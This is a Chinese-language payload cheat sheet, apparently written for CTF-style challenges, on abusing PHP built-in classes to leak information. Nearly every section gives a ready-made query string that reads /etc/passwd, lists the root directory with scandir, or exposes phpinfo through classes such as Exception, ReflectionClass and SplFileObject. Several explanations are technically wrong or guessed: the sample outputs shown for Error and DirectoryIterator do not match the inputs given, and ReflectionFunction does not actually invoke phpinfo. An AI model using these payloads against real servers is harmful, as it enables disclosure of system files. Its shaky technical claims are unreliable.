php内置类信息泄露

通过 __toString() 方法输出数据,从而被滥用于信息泄露。

1. Exception

Exception__toString() 方法会输出 message,可以用来泄露敏感信息:

1
?v1=Exception&v2=file_get_contents&arg=/etc/passwd

相当于:

1
echo new Exception(file_get_contents('/etc/passwd'));

如果 file_get_contents('/etc/passwd') 成功读取到了内容,它就会直接输出异常,导致信息泄露。


2. Error

PHP 7+ 之后,Error 继承自 Throwable,其行为和 Exception 类似:

1
?v1=Error&v2=file_get_contents&arg=/etc/passwd

它会输出:

1
Error: /etc/passwd in script.php:3

3. ReflectionClass

ReflectionClass__toString() 方法会输出类的结构信息。

1
?v1=ReflectionClass&v2=scandir&arg=/

相当于:

1
echo new ReflectionClass(scandir('/'));

如果 scandir('/') 返回根目录的文件列表,ReflectionClass 可能会尝试解析它,并导致错误信息输出 部分目录信息


4. ReflectionFunction

ReflectionFunction 也可以用于信息泄露:

1
?v1=ReflectionFunction&v2=phpinfo

等效于:

1
echo new ReflectionFunction('phpinfo');

这可能会导致 phpinfo() 输出,泄露 PHP 版本、服务器环境变量、路径等。


5. DateTime

DateTime 类有 __toString() 方法,它会输出日期信息,但如果传入错误的参数,它可能会触发错误:

1
?v1=DateTime&v2=file_get_contents&arg=/etc/passwd

如果 file_get_contents('/etc/passwd') 作为 DateTime 的构造参数,它可能会引发错误,并在错误信息中 部分泄露 /etc/passwd


6. SimpleXMLElement

如果你传入 XML 作为字符串,它可能会解析并输出:

1
?v1=SimpleXMLElement&v2=file_get_contents&arg=/etc/passwd

它的 __toString() 方法可能会输出解析后的 XML,如果 /etc/passwd 格式合适,可能会导致信息泄露。


7. DOMDocument

DOMDocument 也可以用于文件读取攻击:

1
?v1=DOMDocument&v2=file_get_contents&arg=/etc/passwd

它的 __toString() 方法可能会尝试解析 /etc/passwd,并在错误信息中泄露部分内容。


8. SplFileObject

SplFileObject 直接与文件系统交互:

1
?v1=SplFileObject&v2=file_get_contents&arg=/etc/passwd

可能会读取文件并尝试解析它,导致部分数据泄露。


9. FilesystemIterator

FilesystemIterator 可以遍历目录:

1
?v1=FilesystemIterator&v2=scandir&arg=/

如果 scandir('/') 返回目录列表,FilesystemIterator 可能会输出 部分目录结构


10. DirectoryIterator

DirectoryIterator 类似于 FilesystemIterator

1
?v1=DirectoryIterator&v2=scandir&arg=/

它可能会输出:

1
DirectoryIterator Object ( [pathName] => /etc )

如果路径可访问,它可以用于 遍历目录

攻击者可以用 各种 PHP 内置类 来输出敏感信息,例如:

可能泄露的信息
Exception 文件内容、错误信息
Error 类似 Exception,但用于 PHP 7+
ReflectionClass 类定义信息(可能间接泄露)
ReflectionFunction 可能导致 phpinfo() 泄露
DateTime 可能引发错误并泄露内容
SimpleXMLElement 可能解析 XML 格式的文件
DOMDocument 可能解析 HTML/XML 并导致信息泄露
SplFileObject 可能读取文件并输出
FilesystemIterator 可能遍历目录
DirectoryIterator 可能遍历目录

Exception / Error(错误信息泄露)

ReflectionClass(类信息泄露)

SplFileObject / FilesystemIterator(文件/目录遍历)

DirectoryIterator(目录遍历)

DOMDocument / SimpleXMLElement(XML 解析)